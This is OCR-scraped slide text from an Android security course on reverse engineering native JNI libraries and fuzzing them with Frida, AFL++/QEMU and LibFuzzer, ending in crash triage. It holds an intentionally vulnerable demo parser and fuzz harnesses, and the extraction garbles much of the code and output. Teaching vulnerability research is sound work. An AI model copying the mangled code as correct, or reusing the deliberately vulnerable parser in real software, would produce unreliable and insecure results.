console. log( + DebugSymbol. fromName( ) .address)
console. log( + args[©0].toInt32())

console. log( + args[1].readPointer().readCString())
j

onLeave:

}
);
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e |ntercepting JNI Function Arguments

fuzzing-android@fuz... fuzzing-android@fuz... fuzzing-android@fuz... fuzzing-android@fuz...

frida-trace: error: no such option: -1
$ frida -H 127.0.0.1:27042 -p 6343 -1 printargs.js

Frida 14.2.18 - A world-class dynamic instrumentation toolkit

/ _ |
]
el Commands:
/_1 1_1 help -> Displays the help system

. object? -> Display information about 'object'

exit/quit -> Exit

More info at https://frida.re/docs/home/

[Remote::PID::6343]->

----Output from Frida Script----
Main at : 0xb3585b15

argc : -1502234880

argv[e]:

----0Output from Frida Script----
Main at : 0xb3585b15

argc : -1502234880

irgv[o]:




Lesson 3: Finding vulnerabilities with Reverse engineering

e JNI interface and subfunctions
e Search for unsafe functions
e Parsing functionalities

Android NDK
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) J N I i nte rfa ce an d SU bfu N Ctio NS Decompile: Java_com_example_mynativetesti % N EZ @y x

void Java_com_example_mynativetest MainActivity overFlow
(_INIEnv *param_l,undefined4 param_2, jbyteArray *param_3,int

e Harnessing subfunctions : char spctart;
e 3th party libraries 5| Sapteray Hoce1a
11 igN;E;Ce*locgiiCT '

O~ WN -

13| local_18 = param_4;

14 | local_14 = param_3;

15| local_l0 = param_2;

16 | local_c = param_1;

17 | pcVarl = (char *)_JNIEnv::GetByteArrayElements(param_1,param_3,&uStack25);
18 | cp(pcvarl,local_18);

19 return;
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aaa Symbol Tree

e Find references ~5 _acabi_memcpyd

v [£f) Functions

viee_ ..
¢ Syl I lbOl Tree v (5= _aeabi_mem...
> bi
L ‘meme Create Namespace
»% _ aeabi_memc
»% _ aeabi_memcp Make Selection
> ¥ __aeabi_memcp Show References to Ctrl+Shift+F
EetE el —_—]
O M m Filter: memcpy
e C py Edit Function... F
= s ) Function > ’ e ‘ &
o S L Ll
t 'c py v j_;Data Types ; E:Eto IC::'::X
> ? BuiltinTypes RL- = i
m| S » [ 2libnative-lib.so anamsa
trcat . SV * Delete Delete
» 8 generic_clib

O

Many others
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e Parsing functionalities

e Very complex

 State deterministic machine
* Reaching allot of code

File Parser

o Data Parser
XML Parser
e Parser are everywhere
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e Summarise important points.
e Allow time for questions.

e Demo & Labs
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e Summarise important points.
e Allow time for questions.

e Demo & Labs



Lesson 4: Fuzzing and Crash Analysis

e Introduction into fuzzing

e Dumb fuzzing vs Smart fuzzing

e Building harnesses and fuzzing

e Emulated Fuzzing with AFL++ & QEMU
e On device fuzzing with LLVM LibFuzzer
e Crash analysis
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e Fuzzing
¢ Smart VS Dumb FUZZIng american fuzzy lop 0.47b (readpng)
1 process timing overall results
° EmU|ated fUZZIng 0 days, 0 hrs, 4 min, 43 sec
. . 0 days, 0 hrs, 0 min, 26 sec 195

none seen yet 0

¢ SymbO“C EXECUtlon 0 days, 0 hrs, 1 min, 51 sec 1

cycle progress map coverage

e AFL++ 38 (19.49%) 1217 (7.43%)

0 (0.00%) 2.55 bits/tuple
. stage progress findings in depth
e |ibFuzzer interest 32/8 128 (65.64%)

0/9990 (0.00%) 85 (43.59%)

654k 0 (0 unique)

2306 /sec 1 (1 unique)
fuzzing strategy yields path geometry

88/14.4k, 6/14.4k, 6/14.4k >

0/1804, 0/1786, 1/1750 178

31/126k, 3/45.6k, 1/17.8k 114

1/15.8k, 4/65.8k, 6/78.2k

34/254k, 0/0

2876 B/931 (61.45% gain)
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¢ Dumb Fuzzing

u]

u]

Random Mutations
No Feedback

e Smart Fuzzing

u]

u]

u]

Feedback driven

Code coverage
Symbolic Execution
In-memory fuzzing
Snapshot fuzzing
Address Sanitizers
Structure aware fuzzing

Fuzzer

Application

Application

Debugger

Debugger
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Preparing input

o STDIN

FILE

Sockets

Sensors

Any other input

m]

m]

m]

m]

Read input from file

Convert file into useful input
Collect input

In-memory fuzzing
Snapshot fuzzing

Fuzz

<stdio.h>
<string.h>

helloworld();
parseText( *ptrBuf);

main( argc, *argv[]){

helloworld();

buffer[64000];

*fp = fopen(argv[1], "rw");
fread(buffer, 64000, 1, fp);

parseText(buffer);

0;
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& C @& cs.android. m/superproject/+/ . i fuzz/li a_l _fuzzer.cpp;bpv=0;bpt=0
. .
* AI Id rO I d Systel I I F u ZZ I ng (Q) Android Code Search  Q_ Search for code or files ®
platform/superproject ~ > master v > system/media/camera/fuzz/libcamera_metadata_fuzzer.cpp
Files  Outline libcamera_metadata_fuzzer.cpp
£ system 1 #include <stddef.h>
| s 2 #include <stdint.h>
H B alsatogging.c >
Y e g 4 #include <errno.h>
v audio 5 #include <vector>
v include 6
» system 7 #include "system/camera_metadata.h”
B Android.bp U .
. 9 #define OK 0
° any examplies or real narnesses oo 1
» audio_route 11 static inline uint32_t AlignUp(uint32_t num, uint32_t alignment) {
» audio_utils 12 return (num + (alignment - 1)) & (~(alignment - 1));
v camera 13 1}
14
» docs 15 extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
v fuzz 16 const size_t sizeof_int = sizeof(uint32_t);
B Android.bp 17 if (data == nullptr || size < 2 * sizeof_int) {
B libcamera_metadata_fuzzer.cp 18 return 0;
» include 1
Y 20 camera_metadata_t *m = NULL;
» src i = =
» tests 22 // Use first int as capacity, and the following one as data capacity.
B Android.bp 23 uint32_t entry_capacity = *reinterpret_cast<const uint32_t*>(data) % OxFF;
& OWNERS 24 uint32_t data_capacity = *reinterpret_cast<const uint32_t*>(data + sizeof_int) % OxFFF;
B TEST_MAPPING 25
) private 26 m = allocate_camera_metadata(entry capacity, data_capacity);
27
» radio 28 size_t i = 2 * sizeof_int;
» tests 29 std::vector<uint32_t> tags;
B Android.bp 30 // Do we have at least 2 ints left?
B CleanSpec.mk 31 while(i + (2 * sizeof_int) < size) {
B NOTICE 32 // Use one int as tag Id, and the following one as data size.
B OWNERS 33 // Note that i is already aligned at this point.
34 uint32_t tag = *reinterpret_cast<const uint32_t*>(data + i);
I TEST_MAPPING 35 uint32_t data_count = *reinterpret_cast<const uint32_t*>(
» memory 36 data + i + sizeof_int) % OxFF;
~ I netd 37
» bpf_progs 38 i += 2 * sizeof_int;
2% 39
» client 40 int32_t tag_type = get_camera metadata_tag_type(tag);
» include 41
» libnetdbpf 42 // If the tag doesn't exists, just try to add it anyway to try that path,
» libnetdutils 43 // but skip the rest of the loop.
- 44 if (tag_type == -1)
45 add_camera_metadata_entry(m, tag, data, data_count);
< History  References

https://cs.android.com/android/platform/superproject/+/master:system/media/camera/fuzz/:bpv=0;bpt=0



https://cs.android.com/android/platform/superproject/+/master:system/media/camera/fuzz/;bpv=0;bpt=0

Lesson 4: introduction into fuzzing — Emulated Fuzzing with AFL++ & QEMU

Why emulated fuzzing

= Scalable

= Run other processor architecture
o Fuzzing Android components

Device Emulation with QEMU
= Device Emulation

= AFL QEMU Support

o Full system emulation

= Binary emulation

Qiling framework é

= Binary emulation framework https://qiling.io/ https://www.gemu.org/
o Python interface
= Rootfs

= Manual implementation of syscalls

Emulated fuzzing using AFL++ (+) QEMU
o Blackbox fuzzing with QEMU


https://qiling.io/
https://www.qemu.org/

Lesson 4: introduction into fuzzing — Emulated Fuzzing with AFL++ & QEMU

g-android@ gandroid-Virtual... fuzzing-android @F gandroid-Virtual... g-android@fuzzingandroid-Virtual...

5 $ ~/Desktop/AFLplusplus/afl-qemu-trace --help
usage: gemu-aarch64 [options] program [arguments...]

e Full QEMU support for emulation
Linux CPU emulator (compiled for aarch64 emulation)
L Su pports ARMV7 (X32) and AArCh64 options and associated environment variables:

Argument Env-variable Description
-h print this help
o afl-gemu-trace —help
-g port QEMU_GDB wailt gdb connection to 'port'
. -L path QEMU_LD_PREFIX set the elf interpreter prefix to 'path
-s size QEMU_STACK_SIZE set the stack size to 'size' bytes
° Fu || Systel I l el I |UIat|0n -cpu model QEMU_CPU select CPU (-cpu help for 1list)
-E var=value QEMU_SET_ENV sets targets environment variable (see below)
. -U var QEMU_UNSET_ENV unsets targets environment variable (see below)
{SUBuntl Softw QEMU_ARGVO forces target process argv[0@] to be 'argve'
° Rootfs IS needed ~ _un u‘o ks QEMU_UNAME set gemu uname release string to 'uname'

-B address QEMU_GUEST_BASE set guest_base address to 'address

-R size QEMU_RESERVED_VA reserve 'size' bytes for guest virtual address space
-d item[,...] QEMU_LOG enable logging of specified items (use '-d help' for a list of items)
-dfilter range[,...] QEMU_DFILTER filter logging based on address range

-D logfile QEMU_LOG_FILENAME write logs to 'logfile' (default stderr)

-p pagesize QEMU_PAGESIZE set the host page size to 'pagesize'

-singlestep QEMU_SINGLESTEP run in singlestep mode

-strace QEMU_STRACE log system calls

-seed QEMU_RAND_SEED Seed for pseudo-random number generator

-trace QEMU_TRACE [[enable=]<pattern>][,events=<file>][,file=<file>]
-version QEMU_VERSION display version information and exit

Defaults:
QEMU_LD_PREFIX = /usr/gnemul/qemu-aarché64
QEMU_STACK_SIZE = 8388608 byte

You can use -E and -U options or the QEMU_SET_ENV and
QEMU_UNSET_ENV environment variables to set and unset
environment variables for the target process.
It is possible to provide several variables by separating them
by commas in getsubopt(3) style. Additionally it is possible to
provide the -E and -U options multiple times.
The following lines are equivalent:

-E varl=val2 -E var2=val2 -U LD_PRELOAD -U LD_DEBUG

-E varl=val2,var2=val2 -U LD_PRELOAD,LD_DEBUG

QEMU_SET_ENV=vari=val2,var2=val2 QEMU_UNSET_ENV=LD_PRELOAD,LD_DEBUG
Note that if you provide several changes to a single variable
the last change will stay in effect.

See <https://qemu.org/contribute/report-a-bug> for how to report bugs.
More information the QEMU project at <https://qemu.org>.
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fuzzing-android@fuz... fuz... fuzzing-android@fuz... fuzzing-android@fuz... fuzzing-android@fuz...

e Building QEMU for aarch64

$ sudo CPU_TARGET=aarch64 ./build_gemu_support.sh

 Needed to pull all code

Performing basic sanity checks...
All checks passed!
Making sure gemuafl is checked out
initializing gemuafl submodule
Got gemuafl.
Checking out ddc4a9748d
Making sure imported headers matches
Configuring QEMU for aarché4...
Building for CPU target aarché64
Using './build' as the directory for build output
The Meson build system
Version: 0.55.0
Source dir: [/home/fuzzing-android/Desktop/AFLplusplus/qemu_mode/qemuafl
Build dir: /home/fuzzing-android/Desktop/AFLplusplus/qemu_mode/qemuafl/build
Build type: native build
Project name: qemu
Project version: 5.2.50
C compiler for the host machine: cc (gcc 9.3.0 "cc (Ubuntu 9.3.0-17ubuntul~20.04) 9.3.0")
C linker for the host machine: cc 1d.bfd 2.34
Host machine cpu family: x86_64
Host machine cpu: x86_64
../meson.build:10: WARNING: Module unstable-keyval has no backwards or forwards compatibility and might not exist in future
ases.
Program sh found:
Program python3 found: (/usr/bin/python3)
Program bzip2 found:
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g-android@ gandroid-Virtual... fuzzing-android @F gandroid-Virtual... g-android@fuzzingandroid-Virtual...

5 $ ~/Desktop/AFLplusplus/afl-qemu-trace --help
usage: gemu-aarch64 [options] program [arguments...]

e QEMU LD _ PREFIX
Linux CPU emulator (compiled for aarch64 emulation)
= Rootf
OO S options and associated environment variables:

o“ 7] A;gument Env-variable De§crip;?onh
= Export QEMU_LD_PREFIX=“path_to_rootfs SR
- - - - -g port QEMU_GDB wailt gdb connection to 'port'
-L path QEMU_LD_PREFIX set the elf interpreter prefix to 'path'
-s size QEMU_STACK_SIZE set the stack size to 'size' bytes
-cpu model QEMU_CPU select CPU (-cpu help for 1list)
-E var=value QEMU_SET_ENV sets targets environment variable (see below)
. . . -U var QEMU_UNSET_ENV unsets targets environment variable (see below)
[ ] Settl ng E nVI ro n m e nt Va rl a b | eS 1B Software QEMU_ARGVO forces target process argv_[o] to I?e ‘argvo'
A inams QEMU_UNAME set gemu uname release string to 'uname
-B address QEMU_GUEST_BASE set guest_base address to 'address
-R size QEMU_RESERVED_VA reserve 'size' bytes for guest virtual address space
o Export QEIVI U SET ENV: LD LI RBA RY PATH :/ -d item[,...] QEMU_LOG enable logging of specified items (use '-d help' for a list of items)
—_— —_— —_— —_— -dfilter range[,...] QEMU_DFILTER filter logging based on address range
-D logfile QEMU_LOG_FILENAME write logs to 'logfile' (default stderr)
—_ — -p pagesize QEMU_PAGESIZE set the host page size to 'pagesize'
o Export QE IVI U U NS ET E NV—VAR—Z -singlestep QEMU_SINGLESTEP run in singlestep mode

-strace QEMU_STRACE log system calls

-seed QEMU_RAND_SEED Seed for pseudo-random number generator

-trace QEMU_TRACE [[enable=]<pattern>][,events=<file>][,file=<file>]
-version QEMU_VERSION display version information and exit

Defaults:
QEMU_LD_PREFIX = /usr/gnemul/qemu-aarché64
QEMU_STACK_SIZE = 8388608 byte

You can use -E and -U options or the QEMU_SET_ENV and
QEMU_UNSET_ENV environment variables to set and unset
environment variables for the target process.
It is possible to provide several variables by separating them
by commas in getsubopt(3) style. Additionally it is possible to
provide the -E and -U options multiple times.
The following lines are equivalent:

-E varl=val2 -E var2=val2 -U LD_PRELOAD -U LD_DEBUG

-E varl=val2,var2=val2 -U LD_PRELOAD,LD_DEBUG

QEMU_SET_ENV=vari=val2,var2=val2 QEMU_UNSET_ENV=LD_PRELOAD,LD_DEBUG
Note that if you provide several changes to a single variable
the last change will stay in effect.

See <https://qemu.org/contribute/report-a-bug> for how to report bugs.
More information the QEMU project at <https://qemu.org>.
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e Testing/running your harness with emulation

mples/rootfs/armé64_android/"
op/examples/fuzzing/test/
wd

propClient: PropClient failed to load
hello world!

fuzzing-android@fuzzingandroid-VirtualBox: ~/Desktop/AFLplusplus

fuzzing-android...
$ export QEMU_LD_PREFIX="/home/fuzzing-android/Desktop/qiling/exa

$ export QEMU_SET_ENV=LD_LIBRARY_PATH=/home/fuzzing-android/Deskt

$ ./afl-qemu-trace ~/Desktop/examples/fuzzing/test/main /etc/pass
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¢ HarneSSing Closed Source |ibra ry 5 $ aarch64-1linux-android23-clang main.c -o main -ltesthello -L .

$ export QEMU_LD_PREFIX="/home/fuzzing-android/Desktop/qiling/examples/ro

o BIaCkbOX i nstru mentation With QE M U e e E S export QEMU_SET_ENV=LD_LIBRARY_PATH=/home/fuzzing-android/Desktop/examp

les/fuzzing/test/

e C ge g ided . /nat
Ove ra e UI e e based on afl by Michal Zalewski and a large online community

afl++ is maintained by Marc "van Hauser" Heuse, Heilko "hexcoder" EiRfeldt, Andrea Fioraldi and Dominik Maier
afl++ is open source, get it at https://github.com/AFLplusplus/AFLplusplus
NOTE: This is v3.x which changes defaults and behaviours - see README.md
No -M/-S set, autoconfiguring for "-S default"
] Getting to work...

L Com pile the harness : Using exponential power schedule (FAST)

S AFL_INST_LIBS=1 ~/Desktop/AFLplusplus/afl-fuzz -Q -1 afl_in/ -o afl_out

Enabled testcache with 50 MB
Checking core_pattern...

aarCh64'I|nUX'andrO|d23'C|ang main.c -o main -ltesthello -L . Hmm, your system is configured to send core dump notifications to an

external utility. This will cause issues: there will be an extended delay
between stumbling upon a crash and having this information relayed to the
fuzzer via the standard waitpid() API.
If you're just testing, set 'AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES=1'.
e Run fuzzer s
To avoild having crashes misinterpreted as timeouts, please log in as root
and temporarily modify /proc/sys/kernel/core_pattern, like so:

° u . ' . i
export QEMU_LD_PREFIX="/home/fuzzing-android/Desktop/qiling/examples/rootfs/arm64_android/ arholors = Iprat/ays kernel cora pattern
. export QEMU_SET_ENV=LD_LIBRARY_PATH=/home/fuzzing-android/Desktop/examples/fuzzing/test/ ; L
Pipe at the beginning of 'core_pattern'
check_crash_handling(), src/afl-fuzz-init.c:2188
. AFL_INST_LIBS=1 ~/Desktop/AFLplusplus/afl-fuzz -Q -i afl_in/ -0 afl_out -- ./main @@ $ sudo su

[sudo] password for fuzzing-android:
root@fuzzingandroid-VvirtualBox: /home/fuzzing-android/Desktop/examples/fuzzing/test# echo core >/proc/sys/kernel/core_pattern
root@fuzzingandroid-VirtualBox: /home/fuzzing-android/Desktop/examples/fuzzing/test# exit
exit
S AFL_INST_LIBS=1 ~/Desktop/AFLplusplus/afl-fuzz -Q -i afl_in/ -o afl_out

-- ./main @@ I
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¢ HarneSSing Closed Source |ibra ry 5 $ aarch64-1linux-android23-clang main.c -o main -ltesthello -L .

$ export QEMU_LD_PREFIX="/home/fuzzing-android/Desktop/qiling/examples/ro

o BIaCkbOX i nstru mentation With QE M U e e E S export QEMU_SET_ENV=LD_LIBRARY_PATH=/home/fuzzing-android/Desktop/examp

les/fuzzing/test/

e C ge g ided . /nat
Ove ra e UI e e based on afl by Michal Zalewski and a large online community

afl++ is maintained by Marc "van Hauser" Heuse, Heilko "hexcoder" EiRfeldt, Andrea Fioraldi and Dominik Maier
afl++ is open source, get it at https://github.com/AFLplusplus/AFLplusplus
NOTE: This is v3.x which changes defaults and behaviours - see README.md
No -M/-S set, autoconfiguring for "-S default"
] Getting to work...

L Com pile the harness : Using exponential power schedule (FAST)

S AFL_INST_LIBS=1 ~/Desktop/AFLplusplus/afl-fuzz -Q -1 afl_in/ -o afl_out

Enabled testcache with 50 MB
Checking core_pattern...

aarCh64'I|nUX'andrO|d23'C|ang main.c -o main -ltesthello -L . Hmm, your system is configured to send core dump notifications to an

external utility. This will cause issues: there will be an extended delay
between stumbling upon a crash and having this information relayed to the
fuzzer via the standard waitpid() API.
If you're just testing, set 'AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES=1'.
e Run fuzzer s
To avoild having crashes misinterpreted as timeouts, please log in as root
and temporarily modify /proc/sys/kernel/core_pattern, like so:

° u . ' . i
export QEMU_LD_PREFIX="/home/fuzzing-android/Desktop/qiling/examples/rootfs/arm64_android/ eeholoora S IpRoL]ays Rernal cora pattern
. export QEMU_SET_ENV=LD_LIBRARY_PATH=/home/fuzzing-android/Desktop/examples/fuzzing/test/ " __
Pipe at the beginning of 'core_pattern'
check_crash_handling(), src/afl-fuzz-init.c:2188
. AFL_INST_LIBS=1 ~/Desktop/AFLplusplus/afl-fuzz -Q -i afl_in/ -0 afl_out -- ./main @@ $ sudo su

[sudo] password for fuzzing-android:

root@fuzzingandroid-virtualBox: /home/fuzzing-android/Desktop/examples/fuzzing/test# echo core >/proc/sys/kernel/core_pattern
root@fuzzingandroid-VirtualBox: /home/fuzzing-android/Desktop/examples/fuzzing/test# exit
exit

» Fixing error ——
= echo core >/proc/sys/kernel/core_pattern

S AFL_INST_LIBS=1 ~/Desktop/AFLplusplus/afl-fuzz -Q -i afl_in/ -o afl_out
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B h ? ? ? fuzzing-android@fuzzingandroid-VirtualBox: ~/Desktop/examples/fuzzing/test/afl_out/default Q = =
e Coverage .... But no crashes ??:
fuzzing-and fu d... fuzzing-and...
fuzz_bitmap fuzzer_setup fuzzer_stats plot_data
. : 1s queue/

° QEMU Slgna and er 1d:000000, time:0,0rig: input2. txt 1d:000103,src:000020+000072, time:216719,0p:splice,rep

1d:000001,src:000000,time:876,0p:havoc,rep:16,+cov 1d:000104,src:000020+000092,time:218475,0p:splice,rep

. 1d:000002,src:000001,time:14297,0p:havoc,rep:32,+cov 1d:000105,src:000020+000092,time:218638,0p:splice,rep

o AFL Cannot CatCh the S|gnals frO[n QEMU 1d:000003,src:000002, time:84733,0p:havoc,rep:4,+cov 1d:000106,src:000020+000060, time: 219678 ,0p:splice,rep

1d:000004,src:000002,time:85062,0p:havoc,rep:4,+cov 1d:000107,src:000020+000060,time:219742,0p:splice,rep
1d:000005,src:000004,time:92577,0p:havoc,rep:4,+cov 1d:000108,src:000020+000060,time:220032,0p:splice,rep

We can see that AFL has found the path, but signals are not handled correctly

S more queue/id\:000010\,src\:000004\,t

ime\:93269\,0p\:havoc\,rep\:8\,+cov
fuzzzvvvve8"zzevvv
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) QEMU Signal ha ndler fuzzing-android @fu : fuzzing-android@fuzzingand... fuzz id@Fu and fuzzing-and

GNU nano 4.8 home/fuzzing-android/Desktop/AFLplusplus/gemu mode/qgemuafl/linux-user/main.c

gemu_log(" Ox" TARGET_ABI_FMT_1x "\n", info->end_code);
qemu_log( C . TARGET_ABI_FMT_1x "\n info->start_code);
gemu_log( " TARGET_ABI_FMT_1x info->start_data);

° Q qemu_log( TARGET_ABI_FMT_1x info->end_data);
PatChIng EM U qemu_Tlog( TARGET_ABI_FMT_1x info->start_stack);

“_+ . . ” qemu_log( TARGET_ABI_FMT_1x info->brk);
° Comment Out S|gna|_|n|t() gemu_log("en TARGET_ABI_FMT_1x info->entry);

gemu_log("a TARGET_ABI_FMT_1x info->arg_start);
gemu_Tlog( i " TARGET_ABI_FMT_1x

o->arg_end + (abi_ulong) (abi_ulong));
gemu_log( t " TARGET_ABI_FMT_1lx "\n", info->saved_auxv);

}

target_set_brk(info->brk);
syscall_init();
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fuzzing-android@fuzzingand... fuzzing-android@fuzzingand... fuzzing-android@fuzzingand...

® PatChIng QEMU bU||d Scrlpt GNU nano 4.8 home /fuzzing-android/Desktop/AFLplusplus/gemu mode/build gemu support.sh

e Comment out all git commands sccr aF /afl-

"[-] Error: do not use afl-gcc or afl-clang to compile this tool."
1

* Prevents updating and removing your signal {05 T L
"[*] Making sure gemuafl is checked out"
patch

0
[*] initializing gemuafl submodule"

"[*] cloning gemuafl"
test gemuafl
CNT=1

qemuafl "SCNT" 4
"Trying to clone gemuafl (attempt SCNT/3)"

CNT= expr "SCNT" + 1
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fuzzing-android@fuzzingand... fuzzing-android@fuzzingand... fuzzing-android@fuzzingand...

e Building QEMU for aarch64

GNU nano 4.8 home/fuzzing-android/Desktop/AFLplusplus/gemu mode/build gemu support.sh

e CPU_TARGET=aarch64 ./build_gemu_support.sh

"§cc” -qF /afl-

"[-] Error: do not use afl-gcc or afl-clang to compile this tool."
1

"[+] All checks passed!"

"[*] Making sure gemuafl is checked out"

0
"[*] initializing qemuafl submodule"

"[*] cloning gemuafl"
test gemuafl
CNT=1
A qemuafl "SCNT" 4
"Trying to clone gemuafl (attempt SCNT/3)"

CNT= expr "SCNT" + 1
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e Running your patched fuzzer

american fuzzy lop ++3.12c (default) |

0 days, 0 hrs, min, 48 sec

1
o Registered crashed © days, © hrs, 0 nin, 12 sec
0

0 days, 0 hrs, min, 0 sec
® days, 0 hrs, min, 0 sec

18.0 (62.1%) 0.48% / 0.54%
0 (0.00%) 1.24 bits/tuple

splice 4 18 (62.07%)

99/256 (38.67%) 25 (86.21%)
102k
493.0/sec 29 (6 unique)

n/a, nf/a, n/a 6
n/a, nfa, n/a 24
n/a, n/a, n/a 14
n/a, n/a, n/a 28
n/a, n/a, n/a 0
24/88.5k, 19/12.4k

0/0, 0/0

1.77%/25, n/a
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e LibFuzzer is in-process, coverage-guided, evolutionary

fuzzing engine

e Fuzzes the execution path of the function

e Building fuzzer binary and compiles through Clang

compiler

e Cross compile through Android SDK clang compiler

e use the -fsanitize=fuzzer flag for fuzz binary

LLVM

= R

oo ]o

https://releases.llvm.org/5.0.0/docs/LibFuzzer.html ‘

N

(

Optimizer

&

\

)

=

f

&

x86
backend

\

/

f

LLVM Core

x86

E> binary
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e LibFuzzer flag Usages
clang -g -fsanitize=fuzzer mytarget.c # Builds the fuzz target w/o sanitizers
clang -g -fsanitize=fuzzer,address mytarget.c # Builds the fuzz target with ASAN

clang -g -fsanitize=fuzzer,signed-integer-overflow mytarget.c # Builds the fuzz
target with a part of UBSAN

clang -g -fsanitize=fuzzer,memory mytarget.c # Builds the fuzz target with MSAN



Lesson 4: introduction into fuzzing — On device fuzzing with LLVM LibFuzzer

« Vulnerable library S S
ili i oid helloworld()

. Co.mplllng the.vulnerak.)l.e library program by OO

using Clang with —fsanitize=fuzzer flag for }

instrumentation R S

if(ptrBuf[0] == 'f'){
if(ptrBuf[1] == 'u'){
if(ptrBuf[z] == "'z'){ .

e aarch64-linux-android23-clang -v -g -0O1 - B

printf("Parsed data: %s\n", buffer);

fsanitize=fuzzer,address -fPIC -c libtesthello.c }

$ aarch64-linux-android23-clang -v -g -01 -fsanitize=fuzzer,address -fPIC -c libtesthello.




Lesson 4: introduction into fuzzing — On device fuzzing with LLVM LibFuzzer

#tinclude <stdio.h=

* Implementing Libfuzzer function in the #include <string.h>
#include <stdint.h>
Harness. #include <stddef.h>

extern void helloworld();
extern void parseText(char *ptrBuf);

e aarch64-linux-android23-clang -v -g -01 -
fsanitize=fuzzer,address harnass.c -o harness
libtesthello.o -Im

int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size){

if(Size > 7)
parseText(Data);

return 0;

$ aarch64-linux-android23-clang -v -g -01 -fsanitize=fuzzer,address harnass.c -o harness

ibtesthello.o -1m



Lesson 4: introduction into fuzzing — On device fuzzing with LLVM LibFuzzer

e Push harness and dependencies to the device
= adb push harness /data/local/tmp/
= adb push libc++_shared.so /data/local/tmp



Lesson 4: Introduction into fuzzing — On device fuzzing with
LLVM LibFuzzer

e Running the Fuzzer/Harness on the device
= LD _LIBRARY_PATH=. ./harness

shell:/data/local/tmp$ LD_LIBRARY_PATH=. ./harness
: Seed: 1347528712
: Loaded 1 modules (26 inline 8-bit counters): 26 [0x57357939e0, 0x57357939fa),
: Loaded 1 PC tables (26 PCs): 26 [0x5735793a00,0x5735793ba0),
: -max_len is not provided; 1libFuzzer will not generate inputs larger than 4096 bytes

—_ _ : A corpus is not provided, starting from an empty corpus
. LD_LIBRARY_PATH_' '/harness INITED cov: 2 ft: 3 corp: 1/1b exec/s: 0 rss: 29Mb
NEW_FUNC[1/1]: ©x573578be98 (/data/local/tmp/harness+0x41e98)

max |en:6oooooo CORPUS/ cov: 7 ft: 9 corp: 2/7b lim: 6 exec/s: O rss: 31Mb L: 6/6 MS: 3 ChangeBit-ChangeByte-InsertRepeatedBytes-
— : 7 ft: 9 corp: 2/6b lim: 6 exec/s: O rss: 31Mb L: 5/5 MS: 2 EraseBytes-InsertByte-
- g1 B corp: 3/12b lim: 6 exec/s: @ rss: 31Mb L: 6/6 MS: 2 CrossOver-CMP- DE: "f\x00"-
corp: 3/11b lim: 6 exec/s: @ rss: 31Mb L: 5/5 MS: 2 CrossOver-InsertByte-

corp: 4/17b lim: 122 exec/s: © : 32Mb L: 6/6 MS: 1 InsertByte-
g g corp: 4/16b : 122 exec/s: € : 32Mb L: 5/5 MS: 2 ChangeByte-EraseBytes-
g g : 5/27b lim: 198 exec/s: € : 33Mb L: 11/11 MS: 4 CopyPart-InsertByte-ShuffleBytes-InsertByte-
o LD LIBRARY PATH:_ _/harness —_— : : orp: 5/22b lim: 198 exec/s: 6 : 33Mb L: 6/6 MS: 1 EraseBytes-
-_ - REDUCE cov C 5/21b € ; 33Mb L: 5/5 MS: 2 ChangeBit-EraseBytes-

ignore_crashes=1 —fork=1 ¥

0x7ab46ec354 (/system/1ib64/libclang_rt.asan-aarch64-android.so+0x94354)
0x573578c654 (/data/local/tmp/harness+0x42654)

0x573578bd70 (/data/local/tmp/harness+0x41d70)

0x57357767c4 (/data/local/tmp/harness+0x2c7c4)

0x5735776240 (/data/local/tmp/harness+0x2c240)

0x57357776c8 (/data/local/tmp/harness+0x2d6c8)

0x5735778190 (/data/local/tmp/harness+0x2e190)

0x57357692c8 (/data/local/tmp/harness+0x1f2c8)

0x573578bc64 (/data/local/tmp/harness+0x41c64)

0x7ab4572418 (/apex/com.android.runtime/1ib64/bionic/libc.s0+0x49418)




Lesson 4: introduction into fuzzing - Triaging crash analysis

e Interpreting crash output
e Running crashes

e GDB Back Trace

e Time traveling

e https://rr-project.org/



https://rr-project.org/

Lesson 4: introduction into fuzzing - Triaging crash analysis

e LLVM o AFLplusplus

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/fuzzing-android/Desktop/examples/fuzzing/test/harness+0x56a1db) in strcpy

Shadow bytes around the buggy addr
x0c1880011360: O ra S e S
6x0c1880011370
0x0c1880011380:
©X0C1880011390
1880011330 @0 00 60 60 0O 60 60 00 60 60 00 00 60 00 00
c18800113b0 u] H a n S
6x0c188001130
6x0c18800113d0
6x0c18800113€0
0x0c18800113f0:

6X6C1880011400: O u e u e
Shadow byte legend (one shadow byte represents 8 application bytes):
00

Addressable:
Partially addressable:

heap regiol
K left redzone:
« mid redzone:
right redzone:
after return:
k use after scope:
Global redzone:
Global init order:
Poisoned by user:
Container overflow:
Array cookie:
Intra object redzone:
Asan internal:
Left alloca redzone:
Right alloca redzone:
Shadow gap:
396==ABORTING
4 EraseBytes-CopyPart-ChangeBit- Ins-rtRepeatedBytcs base unit: 97193eea234daselcf2ds3faddefscc2567b40es
o; ff,0x x x xff,
©,6xde,0xde,exde, 0xde, 0> 2 0,0x 0> 0, 0x oxdo ,oxde
do, xdo Oxdo oxdo, 05
xdo, Oxdo oxdo, exdo axde oxde, Oxdl) xdn exdo ﬁxdo exde nxde Ode axdn 0xaa,0xaa,0xaa, Bxaa, 6xaa ,0xaa,0x21,0xaa,
Fuzz\xFF\xaa\xaaz\xFF\xaa\xaasF\xaa\\\XFF\XFF\XFF\XFFSF\xaa\ \\XFF\X7F\XFF\XFF\XFF\XFF\XFF\xaa\xaa\xd8\xd0\xd6\xd0\xdB\ xdo\xdo\xdB\xd0\xde\xde\xde\ xdo\xdo\xdo\xde\ xde\xdo\xde\xdo
\xd0\xde\xdo\xde\ xdo\xde\xde\xde\xde\xde\xde\xdo\xde\xdo\xde\xde\xde\xde\xde\xde\ xde\xde\xdo\xde\ xde\xde\xde\xde\xde\xdo\xde\ xdo\xde\xde\xde\xde\xde\xde\xdo\xde\xdo\xde\xdo\xde\
xd6\xde\xde\ xde\xde\xde\xde\xde\xde\xde\xde\xde\xde\xde\ xde\xde\xde\xde\xde\xde\xde\xde\xde\xde\xaa\xaa\xaa\xaa\xaa\xaa! \xaa
artifact_prefix='./'; Test unit written to ./crash-e91278b2e3b87e97039f1166f0fd8270a8b63a8d
